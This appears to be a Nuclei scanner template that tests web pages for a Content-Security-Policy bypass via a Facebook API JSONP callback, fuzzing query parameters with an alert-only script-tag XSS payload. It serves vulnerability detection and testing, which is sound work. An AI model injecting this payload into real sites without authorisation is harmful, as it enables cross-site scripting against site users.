id: facebook-api-csp-bypass

info:
  name: Content-Security-Policy Bypass - Facebook API
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,facebook-api

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "facebook.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: facebook_api_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://api.facebook.com/restserver.php?method=fql.query&callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "facebook_api_csp_xss == true"
# digest: 4b0a00483046022100b4d8e0d0217bde078039f43cb38fa221e2208ec78e2372d1642be43eef813337022100edc8148ce99651318948f36c276f85011b480b232f6a10901ab30ff73031300a:922c64590222798bb761d5b6d8e72950